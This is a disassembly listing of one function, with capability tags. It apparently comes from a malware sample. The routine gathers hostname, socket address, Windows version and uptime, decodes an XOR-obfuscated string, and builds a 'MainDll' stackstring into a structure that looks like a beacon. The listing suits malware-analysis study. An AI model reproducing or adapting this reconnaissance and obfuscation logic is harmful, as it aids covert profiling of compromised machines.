Function at 0x4037e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get hostname
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x9b8
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x9b4], eax
push esi
push edi
push 0x333
lea eax, [esp + 0x3d]
mov edi, edx
mov esi, ecx
mov dword [esp + 0x1c], edi
push 0
push eax
mov dword [esp + 0x28], esi
call fcn.0041cce0
add esp, 0xc
mov byte [esp + 0x38], 0xc8
lea eax, [esp + 0x114]
push 0x4494d0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x10
push eax
lea eax, [esp + 0x24]
xorps xmm0, xmm0
push eax
push dword [esi + 0x48]
movaps xmmword [esp + 0x2c], xmm0
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x24]
mov dword [esp + 0xd8], eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4038b7
push str.RtlGetNtVersionNumbers
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4038b0
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x48]
push ecx
call eax
movzx eax, word [esp + 0x48]
mov dword [esp + 0x48], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x400
push 0
push 0x453690
mov dword [esp + 0x1c], 0
call fcn.0041cce0
add esp, 0xc
push 0x449288
push dword [0x44fcb0]
call fcn.0041c040
add esp, 8
test eax, eax
jne 0x40394c
mov edi, 0x44fcb0
xor esi, esi
mov ecx, dword [edi]
call fcn.004136a0
test eax, eax
je 0x40391b
push dword [esi + 0x44fcb4]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x453690
call esi
push 0x449288
push 0x453690
call esi
mov eax, dword [esp + 0x10]
inc eax
push 0x449288
mov dword [esp + 0x14], eax
lea esi, [eax*8]
push dword [esi + 0x44fcb0]
lea edi, [esi + 0x44fcb0]
call fcn.0041c040
add esp, 8
test eax, eax
je 0x4038f1
mov edi, dword [esp + 0x18]
push 0x449288
push 0x453690
call fcn.0041c040
add esp, 8
test eax, eax
jne 0x403972
push 0x44928c
push 0x453690
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ecx + 0x453690]
mov byte [esp + ecx + 0x18c], al
inc ecx
test al, al
jne 0x403980
call fcn.004031d0
lea edx, [esp + 0x1dc]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [eax + edx - 1], cl
test cl, cl
jne 0x4039a0
push 0x100
lea eax, [esp + 0x384]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [esp + 0x5b8]
push 0x400
push 0
push eax
call fcn.0041cce0
add esp, 0xc
mov dword [esp + 0x374], 0x6e69614d
lea eax, [esp + 0x374]
mov dword [esp + 0x378], 0x5c6c6c44
mov word [esp + 0x37c], 0x7325
mov byte [esp + 0x37e], 0
push 0x4533c8
push eax
lea eax, [esp + 0x5c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [esp + 0x384]
lea edx, [esp + 0x5bc]
push 0x100
push ecx
push eax
push 1
push 0x4494c8
mov ecx, SysReAllocString
call fcn.004132c0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x398]
add esp, 0x18
push eax
call esi
test eax, eax
jne 0x403a71
push 0x100
lea eax, [esp + 0x384]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x380]
push eax
call esi
movups xmm0, xmmword [esp + 0x380]
mov ax, word [esp + 0x3b0]
mov word [esp + 0x10c], ax
movups xmmword [esp + 0xdc], xmm0
mov dword [esp + 0x110], edi
movups xmm0, xmmword [esp + 0x390]
movups xmmword [esp + 0xec], xmm0
movups xmm0, xmmword [esp + 0x3a0]
movups xmmword [esp + 0xfc], xmm0
call fcn.00403080
test eax, eax
mov word [esp + 0xc], 0x6425
mov byte [esp + 0xe], 0
setne byte [esp + 0x10e]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
mul edi
lea eax, [esp + 0xc]
mov esi, edx
shr esi, 0x18
push esi
push eax
lea eax, [esp + 0x558]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
imul eax, esi, 0xfad9a400
add esp, 0xc
add edi, eax
mov eax, 0x95217cb1
mul edi
lea eax, [esp + 0xc]
mov esi, edx
shr esi, 0x15
push esi
push eax
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
imul eax, esi, 0x36ee80
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
sub edi, eax
mov eax, 0x45e7b273
mul edi
lea eax, [esp + 0xc]
shr edx, 0xe
push edx
push eax
lea eax, [esp + 0x488]
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x4ec]
push eax
lea eax, [esp + 0x558]
push eax
lea eax, [esp + 0x152]
push 0x4494dc
push eax
call esi
add esp, 0x14
mov dword [esp + 0x10], 0
lea edx, [esp + 0x10]
mov ecx, str.tLa0utG1tdG1vqY
call fcn.00403660
mov edx, dword [esp + 0x10]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x403c2f
cmp esi, 0x40
jb 0x403c20
and eax, 0x8000003f
jns 0x403bbf
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm1, xmmword [0x44aeb0]
mov edi, esi
movaps xmm2, xmmword [0x44af00]
sub edi, eax
lea eax, [edx + 0x20]
movups xmm0, xmmword [eax - 0x20]
add ecx, 0x40
lea eax, [eax + 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, edi
jl 0x403bd4
cmp ecx, esi
jge 0x403c2f
nop
mov al, byte [ecx + edx]
sub al, 0x13
xor al, 0x93
mov byte [ecx + edx], al
inc ecx
cmp ecx, esi
jl 0x403c20
lea ecx, [esp + 0x166]
sub ecx, edx
nop dword [eax + eax]
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x403c40
mov al, byte [0x4494d8]
movq xmm0, qword [0x4494d0]
mov ecx, dword [esp + 0x1c]
mov byte [esp + 0x234], al
xor eax, eax
cmp dword [0x4531b4], 1
push 0x334
sete al
movq qword [esp + 0x230], xmm0
mov dword [esp + 0x358], eax
lea eax, [esp + 0x3c]
push eax
call fcn.00401e00
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret